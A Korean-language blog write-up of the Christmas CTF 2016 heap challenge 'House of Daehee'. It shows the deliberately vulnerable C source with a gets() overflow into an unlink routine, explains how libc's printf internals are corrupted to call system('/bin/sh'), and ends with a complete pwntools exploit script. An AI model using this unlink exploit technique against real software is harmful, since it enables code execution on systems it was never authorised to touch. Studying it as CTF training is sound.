[Christmas CTF2016] House of Daehee

By puing | January 14, 2017

House of Daehee write-up



이번에 풀어볼 문제는 2016년도 Christmas CTF 에 출제되었던 House of daehee 라는 문제입니다.
당시 문제 화면은 아래와 같습니다.







문제 분석


그리고 바이너리 파일과 소스 파일이 주어졌습니다.(+ libc 파일도 함께 제공되었습니다.)



unlink2, unlink2.c 이라는 파일이네요.
unlink2.c` 소스 내용은 아래와 같습니다.


// gcc -o unlink2 unlink2.c -fPIC -pie -Wl,-z,now
#include 
#include 
#include 
#include 
#include 
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

OBJ* A;
OBJ* B;
OBJ* C;
void unlink(OBJ* P){
    printf("First, we declare two OBJ pointers, to save the fd/bk of P\n");
    OBJ* BK;
    OBJ* FD;

    printf("P is actually the pointer of B that we made in main() function.\n");
    printf("To unlink B, we first need to get pointers of A (bk of B) and C (fd of B)\n");
    BK=P->bk;
    FD=P->fd;

    printf("Remember, FD here is P->fd, which is the pointer of C, inside object B\n");
    printf("Also, BK here is P->bk, which is the pointer of A, inside object B\n");
    printf("Therefore, we can control both FD and BK :)\n");
    printf("This, gives us 'arbitrary memory write' from the following step\n");

    // unlinking corrupted object!
    FD->bk=BK;
    BK->fd=FD;

    printf("using this primitive, change a function pointer (hint: GOT) into 'system' address that I gave you\n");
    printf("for example, overwrite the free.got into system. then free(P) becomes system(P)!! right?\n");
    free(P);    // put "/bin/sh" in P and get shell!
}

int main(int argc, char* argv[], char* envp[]){
    int i, j;
    i=0;
    while(argv[i]){
        j=0;
        while(argv[i][j]) argv[i][j++]=0;
        i++;
    }
    i=0;
    while(envp[i]){
        j=0;
        while(envp[i][j]) envp[i][j++]=0;
        i++;
    }

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IONBF, 0);

    printf("Welcome to house of daehee!\n");
    printf("This is simple tutorial to teach you basic heap exploitation technique!\n");
    printf("First, lets allocate three objects (A, B, C) that has small buffer and forward/backward pointers\n");

    A = (OBJ*)malloc(sizeof(OBJ));
    B = (OBJ*)malloc(sizeof(OBJ));
    C = (OBJ*)malloc(sizeof(OBJ));

    printf("Now, A B C is allocated inside heap (%p, %p, %p) respectively\n", A, B, C);
    printf("This time, lets make double-linked list with these objects\n");

    // make double linked list: A  B  C
    printf("First, lets set A's forward pointer (A->fd) to point B\n");
    A->fd = B;
    printf("Now, lets set B's backward pointer (B->bk) to point A\n");
    B->bk = A;
    printf("At this point, A and B is pointing each other.\n");
    printf("Now, lets do the same thing for B and C.\n");
    printf("let B->fd point C\n");
    B->fd = C;
    printf("Now, let C->bk point B\n");
    C->bk = B;

    printf("Ok, now we have the following object structure: A  B  C\n");
    printf("Assuming that we have memory leak, here is system address: %p. we will use this later to get shell :)\n", system);
    printf("Now, lets simulate a BOF vulnerability. Do some calculation and give me proper input to corrupt the B's fd/bk pointer\n");

    // heap overflow!
    gets(A->buf);

    printf("Goodjob. At this point, you have full control over B's forward and backword pointer\n");
    printf("Now, lets see what happens while unlinking B with fd/bk pointer of your control\n");

    // exploit this unlink!
    unlink(B);

    // cleanup
    free(C);
    free(B);
    free(A);

    printf("Thank you for watching this tutorial. I hope you understand the basics of unlink exploit now :D\n");
    getchar();
    return 0;
}


친절하게 설명까지 해주셨네요. ㅎㅎ


main 함수에 있는 while 문은 main 함수의 인자와 환경 변수를 초기화해주는 작업을 합니다.


int i, j;
    i=0;
    while(argv[i]){
        j=0;
        while(argv[i][j]) argv[i][j++]=0;
        i++;
    }
    i=0;
    while(envp[i]){
        j=0;
        while(envp[i][j]) envp[i][j++]=0;
        i++;
    }



그리고 malloc 함수를 3번 호출해서 각각 메모리를 할당받습니다.


A = (OBJ*)malloc(sizeof(OBJ));
B = (OBJ*)malloc(sizeof(OBJ));
C = (OBJ*)malloc(sizeof(OBJ));


그리고 그 바로 아래 더블 링크드 리스트를 만들어주는 부분입니다.

// make double linked list: A  B  C
    printf("First, lets set A's forward pointer (A->fd) to point B\n");
    A->fd = B;
    printf("Now, lets set B's backward pointer (B->bk) to point A\n");
    B->bk = A;
    printf("At this point, A and B is pointing each other.\n");
    printf("Now, lets do the same thing for B and C.\n");
    printf("let B->fd point C\n");
    B->fd = C;
    printf("Now, let C->bk point B\n");
    C->bk = B;


OBJ 구조체는 unlink2.c 소스 제일 윗 부분에 정의되어있습니다.


typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;


구조체의 모습을 보기쉽게 표현하면 아래와 같습니다.



A 구조체의 fd 에 B 주소를 넣고, B 구조체의 bk 에 A 주소를 넣고 B 구조체의 fd 에 C 주소를 넣고 C 구조체의 bk 에 B 주소를 넣어줌으로써 더블 링크드 리스트를 만들어줍니다.




실제로 메모리 내용을 확인해보면, fd 에는 다음 구조체의 주소가, bk 에는 이전 구조체의 주소가 저장되어있습니다.



더블 링크드 리스트를 만들어 준 후, gets 함수를 통해 A->buf 에 입력 값이 저장됩니다. heap overflow 가 여기서 일어나게 됩니다.


gets(A->buf);


buf 의 크기는 8바이트인데 8 바이트를 넘치게 입력하면 그 만큼 오버플로우가 되겠죠.





이제 우리는 A->buf 위치 이후의 영역에 원하는 값을 써줄 수 있습니다. 그리고 main 함수에서는 gets 함수를 통해 입력을 받은 후, unlink 함수를 호출합니다.


unlink(B);


unlink 함수에서는 아래와 같은 작업을 합니다.


void unlink(OBJ* P){

    OBJ* BK;
    OBJ* FD;

    ...
    ...

    BK=P->bk;
    FD=P->fd;

    ...
    ...

    FD->bk=BK;
    BK->fd=FD;

    ...
    ...

    free(P);

}


P 변수에는 B 구조체의 주소가 들어있습니다.
BK= P->bk 를 통해 b->bk 에 있는 값이 BK 로 들어갑니다.
(b->bk 에는 C 구조체의 주소가 들어있었죠? 이 C 구조체의 주소가 BK 에 들어가게 될 것 입니다.)

그리고 FD = P->fd 를 통해 b->fd 에 있는 값이 FD 로 들어갑니다.
(b->fd 에는 A 구조체의 주소가 들어있었죠? 이 A 구조체의 주소가 FD 에 들어가게 될 것 입니다.)

그리고 BK 와 FD 는 각각 FD->bk, BK->fd 에 들어가게 됩니다.
A 구조체의 주소는 BK->fd 에, C 구조체의 주소는 FD->bk 에 들어가겠죠.



unlink 함수를 통해 A 구조체의 fd 는 C 구조체 주소가 들어가고, C 구조체의 bk 에는 A 구조체 주소가 들어가게됩니다. 그리고 B 구조체는 free 함수를 통해 메모리를 반환하게 됩니다.


  • bk 는 해당 구조체 주소의 +8 만큼 떨어진 곳에 있습니다. 따라서 FD->bk 는 FD 주소의 +8 에 위치한 곳이므로 FD 에 C 구조체의 주소가 있다면 0x555555757050 + 8 > - 0x555555757058 이 FD->bk 이고 0x555555757058 주소에 BK 값이 들어가게 되는 것 입니다.


이 unlink 함수를 통해 원하는 곳에 원하는 값을 써 줄수 있습니다. 우리는 heap overflow 를 통해 A 구조체 buf 변수 이후의 값들을 다 덮어 쓸 수 있습니다. 만약 B 구조체의 fd, bk 의 값들을 각각 aaaaaaaa, bbbbbbbb 로 덮으면 어떻게 될까요?

unlink 함수를 통해 0x6161616161616169 에는 0x6262626262626262 값이 써지고, 0x6262626262626262 에는 0x6161616161616161 값이 써지게 됩니다.



원하는 곳에 원하는 값을 써줄 수 있지만 FD->bk = BK, BK->fd = FD 이 부분에서 FD->bk, BK->fd 이 위치에 각각 값을 써주게 되기 때문에 둘 다 쓰기 권한이 있는 주소를 넣어주어야 합니다. 유효한 주소가 아니거나 쓰기 권한이 없는 주소라면 FD->bk = BK 이 부분에서 프로그램이 종료될 것 입니다. ㅠㅠ

unlink2 파일을 실행해보면 각 구조체의 주소와 system 함수의 주소를 미리 알려줍니다. 이 주소를 이용해서 system 함수를 호출해보도록 합시다.



먼저 system 함수를 어디에 써줄지를 찾아봅시다.
GOT 에 쓰려고 봤더니 메모리 보호 기법이 걸려있는 상태라 GOT 영역은 read-only 권한만 가지고 있습니다.
(프로그램을 다시 실행하느라 주소가 달라질 수 있습니다. ㅠㅠ)



쓰기 가능한 주소를 한 번 찾아봅시다.
unlink 함수는 마지막에 printf 함수와 free 함수 호출을 함으로써 끝이납니다. printf 함수를 한 번 봅시다.



rip+0x3550bc 안에 있는 값을 rdi 레지스터에 넣습니다. 그리고 좀 더 밑으로 가면, rdi 레지스터 값 +0xd8 에 있는 값을 rax 레지스터에 넣고, rax 레지스터 값 +0x38 에 있는 값을 호출하게 됩니다.

rax+0x38 안에 system 주소를 넣기로 합시다. rip+0x3550bc0x7ff038553708 는 쓰기 가능한 영역이므로 이 곳에 원하는 값을 쓸 수 있습니다.


PIE 가 걸려있기 때문에 바이너리 영역도 실행할 때마다 주소가 항상 달라집니다. 하지만 system 함수 주소와 주어진 libc 파일을 이용해 offset 을 알아내 이 offset 을 가지고 향후 써주고 싶은 주소의 위치를 알아낼 것 입니다.

우리가 쓰려고하는 주소 0x7ff038553708 은 bass address 로부터 0x3c4708 만큼 떨어져 있습니다.


덮어써야 할 곳들을 쉽게 보면



위와 같습니다. 위와 같이 덮어쓰면 unlink 함수를 통해 0x…48 주소엔 base address + 0x3c4708 이들어가고 base addr + 0x3c4708 이 가리키는 곳엔 aaaaaaaa 가 들어가 있게 됩니다.

그리고 printf 함수가 호출될 때 rdi 레지스터에 0x…40 이 들어가게 될 것입니다. (mov rdi,QWORD PTR [rip+0x3550bc] 이 명령어를 통해 rip+0x3550bc 에 있는 값이 rdi 로 들어가게 되는데 rip+0x3550bc 는 base address + 0x3c4708 이고 여기에 0x…40 을 넣었기 때문에 rdi 엔 0x…40 이 들어가게 되는 것 입니다.)

mov rax,QWORD PTR [rdi+0xd8] 명령어를 통해 0x…40 + 0xd8 에 있는 값이 rax 로 들어가고 call QWORD PTR [rax+0x38] 명령어를 통해 rax+0x38 에 있는 값을 호출합니다. rax 레지스터에 0x…18 을 넣으면 rax+0x38 은 0x…50 이 되고 0x…50 주소안에 system 함수의 주소를 넣으면 결과적으로 system 함수를 호출할 것 입니다.

먼저, 0x…40 + 0xd8 인 0x…118 주소 안에 0x…18 을 넣는다고 가정하면



rdi 레지스터에는 0x..40 이 들어가고 rdi+0xd8 인 0x…118 에 들어있는 0x…18 이 rax 레지스터에 들어갑니다. 그리고 rax+0x38 인 0x…50 안에 있는 system 함수가 호출될 것 입니다.

그런데 이대로하면 제대로 system 함수가 실행되지 않을 것 입니다. 왜냐하면..



printf 함수 처음 부분에 base address + 0x3c4708 안에 있는 내용을 rbp 에 넣어줍니다.

그리고 좀 더 아래에서 rbp+0x88 에 있는 값을 rdx 로 넣어주고 cmp 를 통해 rdx+0x8 이 있는 값과 r8을 비교합니다. base address + 0x3c4708 에는 0x…40 이 들어있습니다. 이 값이 rbp 로 들어가고 rbp + 0x88 인 0x..c8 에 있는 값이 rdx 에 들어가게됩니다. rdx+0x8 에 있는 값과 r8 을 비교하는데 이 때 rdx 가 유효한 주소가 아니라면 이 명령어에서 에러가 날 수 있겠죠?

그리고 그 이후에도



rbp + 0x88 이 곳에 있는 데이터를 사용하거나 그 곳에 써주는 부분들이 있습니다. rdx+0x8, rdx+0x4 이런 곳들이 어떤 주소여야 하는지, 어떤 값들이 있어야 에러가 안날지 알아보는 것보다 애초에 rbp+0x88 에 원래있는 값을 써주는 것이 편할 것 같습니다.

정상적인 흐름대로라면 rbp+0x88 에 있는 값은 0x7f969c82a780 입니다. (프로그램 실행할 때마다 주소가 바뀝니다. 그래서 base address 도 프로그램 실행할 때마다 계산해줘야 합니다.)



rbp 에는 0x..40 이 들어갈테고 0x…40 + 0x88 인 0x..c8 주소에 0x7f969c82a780 를 넣어주면 될 것입니다.
0x7f969c82a780 은 bass address 와 0x3c5780 만큼 떨어진 곳입니다.
0x…c8bass address + 0x3c5780 을 넣어줍시다.



이렇게 하면 system 함수는 실행될거 같은데.. system 함수의 인자는 어디에 써주면 좋을까요..

간단하게 system 함수를 사용하는 프로그램을 만들어서 디버깅을 해보면 rdi 레지스터에 system 함수의 인자가 있습니다.



rdi 는 아까 base address + 0x3c4708 에 있는 값을 가지고 있습니다.


그래서 rdi 는 0x…40 을 가지고 있는데 이 주소가 system 함수에 인자로 들어가니 0x…40 에 원하는 명령어를 넣어주면 될 것 같습니다. /bin/sh 을 넣어주도록 합시다.




ex.py

import subprocess
from pwn import *
import struct

binsh = '/bin/sh\x00'
pack = lambda x: struct.pack("<Q",x)
output = process('./unlink2')

output.recvuntil('inside heap (')

#struct address
A_struct_addr = int(output.recvuntil(',')[:-1],16)

output.recvuntil('system address: ')

#system function address
system = int(output.recvuntil('.')[:-1],16)

base_address = system - 0x45380
tmp = base_address + 0x3c4708
tmp2 = base_address + 0x3c5780

payload = ''
payload += '\x00'*16 + pack(A_struct_addr + 0x30) + pack(tmp) + binsh + '\x00'*8 + pack(system) + '\x00'*112 + pack(tmp2) + '\x00'*72 + pack(A_struct_addr + 0x8)

output.stdin.write(payload + '\n')
output.interactive()



위와 같은 식으로 코드를 만들어 실행하면 /bin/sh 을 실행시킬 수 있습니다.





Reference

comments powered by Disqus